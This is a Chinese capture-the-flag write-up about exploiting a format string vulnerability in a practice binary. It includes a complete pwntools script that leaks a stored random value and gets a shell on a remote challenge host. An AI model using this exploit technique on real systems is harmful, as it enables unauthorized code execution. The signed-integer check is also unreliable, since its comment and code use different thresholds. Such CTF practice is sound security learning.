使用IDA打开
可以看到明显的格式化字符串漏洞 ,它是在bss段0x804c044存储了一个随机数,然后通过最后比较输入的passwd和随机数是否一样,如果一样就打开/bin/sh命令。
我的思路是,通过格式化字符串漏洞泄露0x804c044的数据,然后把得到的数据作为有符号的整数的字符串输入给nptr,然后程序会用atoi把字符串转换为整型。
在pwndbg中对程序调试,发现输入的buf和esp差距为0x28,所以是第十个格式化参数。
from pwn import *
p = remote("node4.buuoj.cn", 29667)
#p = process('./pwn')
payload = flat(0x804c044, "ok%10$sok")
p.recv()
p.sendline(payload)
p.recvuntil("ok")
num = p.recvuntil("ok",drop = True)
n = u32(num)
## 因为使用u32()函数在64位机器上解包得到的数字不会出现负数,所以自己对n进行判断,如果大于0x100000000,就肯定是一个负数的补码。
if n>0x8fffffff:
n = n-0x100000000
p.sendline(str(n))
p.interactive()